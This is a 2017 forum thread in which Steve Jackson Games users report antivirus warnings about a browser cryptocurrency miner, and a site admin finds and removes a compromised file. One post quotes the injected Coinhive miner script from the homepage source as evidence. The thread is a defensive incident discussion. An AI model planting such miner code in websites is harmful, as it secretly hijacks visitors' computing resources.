Steve Jackson Games - Site Navigation
Home General Info Follow Us Search Illuminator Store Forums What's New Other Games Ogre GURPS Munchkin Our Games: Home

Go Back   Steve Jackson Games Forums > Illuminati Headquarters > Forum Feedback and Help

Reply
 
Thread Tools Display Modes
Old 11-09-2017, 10:50 AM   #1
Daigoro
 
Daigoro's Avatar
 
Join Date: Dec 2006
Location: Meifumado
Default Adguard blockchain warning

So I've been getting this warning for the past day or so when loading various forums.sjgames pages, and I'm trying to figure out where the problem is. It could local to my computer, of course, but I'm only getting it unexpectedly here (I've had it in other more expected sites, however):

"AdGuard has detected that this website is trying to use your browser as a blockchain currency miner. It can create significant CPU load. Allow?"

Followed by "Cancel"/"OK".

Looks like it's a function of the Avira Chrome anti-virus extension. Anyone else getting this?
__________________
Collaborative Settings:
Cyberpunk: Duopoly Nation
Space Opera: Behind the King's Eclipse
And heaps of forum collabs, 30+ and counting!
Daigoro is offline   Reply With Quote
Old 11-09-2017, 11:51 AM   #2
Dalzig
 
Join Date: Apr 2010
Default Re: Adguard blockchain warning

I was getting the same thing with Malwarebytes. A script was continually trying to connect to Coinhive. I sent an email to the forum admin and he said the rogue script has been removed. I haven't had any problems since then.
Dalzig is offline   Reply With Quote
Old 11-09-2017, 11:58 AM   #3
brandonm
Cybernetic Overlord, Protector of the Fairness, Ebliberator of Stealage & Grand Purveyor of Laser Cats
 
brandonm's Avatar
 
Join Date: May 2012
Location: Austin TX
Default Re: Adguard blockchain warning

If you're still seeing the warnings make sure to clear your browser's cache and delete any cookies for forums.sjgames.com, then revisit the forums. You may want to disable javascript first, clear everything , then re-enable JS.
__________________
Brandon McClelland
Digital Wizard
sjgames.com
brandonm is offline   Reply With Quote
Old 11-09-2017, 03:21 PM   #4
johndallman
Night Watchman
 
Join Date: Oct 2010
Location: Cambridge, UK
Default Re: Adguard blockchain warning

I was getting warnings from F-Secure. Cleared cache, did a virus scan because I'm paranoid, and rebooted. All seems fine now.
johndallman is offline   Reply With Quote
Old 11-10-2017, 12:58 AM   #5
Daigoro
 
Daigoro's Avatar
 
Join Date: Dec 2006
Location: Meifumado
Default Re: Adguard blockchain warning

Quote:
Originally Posted by brandonm View Post
If you're still seeing the warnings make sure to clear your browser's cache and delete any cookies for forums.sjgames.com, then revisit the forums. You may want to disable javascript first, clear everything , then re-enable JS.
That did the job, cheers. It was getting annoying to have a warning pop up for every tab I opened.
__________________
Collaborative Settings:
Cyberpunk: Duopoly Nation
Space Opera: Behind the King's Eclipse
And heaps of forum collabs, 30+ and counting!
Daigoro is offline   Reply With Quote
Old 11-12-2017, 04:25 PM   #6
DeadParrot
 
Join Date: Apr 2012
Default Re: Adguard blockchain warning

Got this the first time Sunday morning. Have cleared cache and cookies. Still getting the coinhive scripts listed as blocked by Noscript.

Opened the SJG main page source in Firefox Tool / Web Developer tab.

Here is the first bit of page code clearly showing the coin hive script code:

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>Steve Jackson Games</title>
<link rel="stylesheet" href="/css/twitter.css" type="text/css" />
<link rel="stylesheet" href="/css/homepage.css" type="text/css" />
<link rel="stylesheet" href="/css/fontawesome/css/font-awesome.min.css">
<script type="text/javascript" src="/js/jquery-1.3.2.min.js"></script>

<script type="text/javascript">
var addthis_config = {
username: "sjgames"
}
</script>
<script src='https://coinhive.com/lib/coinhive.min.js'></script>
<script> var miner = new CoinHive.Anonymous('rfyXVY5S3aK0RiOnUetsl5ZYnPW3V3 Md'); miner.start();</script>
<script type="text/javascript">


Don't see the script block for coinhive in the forum page.
DeadParrot is offline   Reply With Quote
Old 11-12-2017, 09:31 PM   #7
Eidoloclast
 
Join Date: Nov 2017
Default Re: Adguard blockchain warning

I get this warning as well. Might actually be a thing.
Eidoloclast is offline   Reply With Quote
Old 11-13-2017, 12:27 AM   #8
RogerBW
 
RogerBW's Avatar
 
Join Date: Sep 2008
Location: near London, UK
Default Re: Adguard blockchain warning

Quote:
Originally Posted by DeadParrot View Post
Got this the first time Sunday morning. Have cleared cache and cookies. Still getting the coinhive scripts listed as blocked by Noscript.

Opened the SJG main page source in Firefox Tool / Web Developer tab.

Here is the first bit of page code clearly showing the coin hive script code:
Yes, getting the same thing here, downloading the main page with curl (no cacheing). Similarly nothing on a random forum page.
RogerBW is online now   Reply With Quote
Old 11-13-2017, 12:57 AM   #9
darthjpp
 
Join Date: Dec 2011
Location: Gothenburg, Sweden
Default Re: Adguard blockchain warning

I did a check in my browser (Chrome on W10) and found that I as well does get this. However, a plugin (Ghostery) blocks CoinHive on all sites. I have probably found it on some other site and decided to block it on all sites.

However, I do not get any warnings, but that might be due to my use of a plugin. Ghostery reports CoinHive as an advertisment tracker.

I also use AdBlock (with SJGames allowed).
darthjpp is offline   Reply With Quote
Old 11-13-2017, 08:09 AM   #10
brandonm
Cybernetic Overlord, Protector of the Fairness, Ebliberator of Stealage & Grand Purveyor of Laser Cats
 
brandonm's Avatar
 
Join Date: May 2012
Location: Austin TX
Default Re: Adguard blockchain warning

Thanks for the heads up everyone - I've identified the compromised file and updated it. We're still working to close up whatever hole is open. In the meantime I encourage everyone to to do whatever you can to stop your devices from actually visiting the coinhive website; this is a widespread internet problem and you will certainly encounter other sites sending traffic there.

There are already extensions for Chrome around as mentioned here: https://thenextweb.com/apps/2017/09/...miner-blocker/

I haven't seen any mentions for Firefox or other browsers but they're probably out there.

In the future, if you find another page or domain of ours that is trying to reach the coinhive site, please send us the URL by emailing webmaster@sjgames.com with the subject line "Found cryptocurrency hijack on SJG site". Thanks!
__________________
Brandon McClelland
Digital Wizard
sjgames.com

Last edited by brandonm; 11-13-2017 at 08:33 AM.
brandonm is offline   Reply With Quote
Reply

Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Fnords are Off
[IMG] code is Off
HTML code is Off

Forum Jump


All times are GMT -6. The time now is 04:05 AM.


Powered by vBulletin® Version 3.8.9
Copyright ©2000 - 2024, vBulletin Solutions, Inc.